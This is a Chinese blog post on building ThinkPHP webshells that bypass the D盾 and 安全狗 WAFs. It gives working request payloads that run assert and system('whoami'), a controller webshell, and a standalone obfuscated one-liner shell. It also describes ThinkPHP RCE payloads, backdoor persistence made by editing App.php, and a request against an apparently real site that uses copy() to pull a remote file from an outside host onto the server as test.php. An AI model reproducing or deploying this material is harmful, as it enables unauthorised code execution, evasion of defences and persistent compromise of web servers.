zoukankan      html  css  js  c++  java
  • thinkphp下的Webshell&&php过D盾一句话

    环境:

      Thinkphp 5.0.15

      PHP version:7.0.12

      WAF: D盾 ,安全狗

      Thinkphp 采用 MVC 模式  核心:模块 -> 控制器 –> 方法

    思路:利用已经有的think 类包库 去做一些事情

    利用已有的功能,顺便对D盾 绕过 

    方法:

    Payload1:

    http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=phpinfo()

    Payload2:

    http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=system(‘whoami’)

    代码:

    <?php
    namespace appindexcontroller;
    use 	hinkApp;
    class index
    {
       public function index($f,$shell)
       {
           $a=new App();
           $c=$a->invokeFunction($f,$shell);
           return '</br> sucess';
    
       }
    }

    关于用这个的来源:

     Thinkphp5 rce 漏洞 其中一个payload  是这样的

    ?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

    漏洞原因:默认没有开启强制路由,路由控制不严谨,可以执行自己需要的类库

    在think 类库中找到自己需要的功能,进行触发调用

    先贴一个不需要thinkphp 环境下 过D盾 和安全狗的 马

     <?php
    function invokeFunction($function, $vars = [])
    {
        $reflect = new ReflectionFunction($function);
    
        return $reflect->invokeArgs($vars);
    }
    
    $function='a'.'ssert';
    $vars=$_GET[1];
    
    invokeFunction($function,$vars);
    
    
    ?>

    还有一种思路,创建类或者函数,进行包含绕过,有兴趣的可以自己试一下。、

    然后对于thinkphp 权限维持的思路,因为本身内核存在RCE, -这里假设打了补丁的RCE 被某洞获得到权限

    演示以thinkphp 最新版本 5.0.24

     

    在Thinkapp.php 文件内,把! 删掉 就可以继续RCE 了 (只是提供一种维持思路)

    后来想了下,这样对整个站点都不安全了,不适合维持。可以在前面在加一段IF 开关条件  符合就不执行preg_math 这一段,对RCE的漏洞入口进行一个管理操作~

    就可以继续任意执行了

    tp 在 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。  在模板调用的时候 有任意文件包含漏洞,可以自己写一个,当作后门。

    附赠:

    关于thinkphp rce  绕WAF or 宝塔

    这里用了宝塔做测试:

    http://yishangtv.com/index.php?s=&echod=copy(%22http://www.letv.cloud/ad.txt%22,%22test.php%22)

    _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

    思路:绕敏感函数,和正则匹配

  • 相关阅读:
    BZOJ 1191 HNOI2006 超级英雄hero
    BZOJ 2442 Usaco2011 Open 修建草坪
    BZOJ 1812 IOI 2005 riv
    OJ 1159 holiday
    BZOJ 1491 NOI 2007 社交网络
    NOIP2014 D1 T3
    BZOJ 2423 HAOI 2010 最长公共子序列
    LCA模板
    NOIP 2015 D1T2信息传递
    数据结构
  • 原文地址:https://www.cnblogs.com/0xdd/p/10848671.html
Copyright © 2011-2022 走看看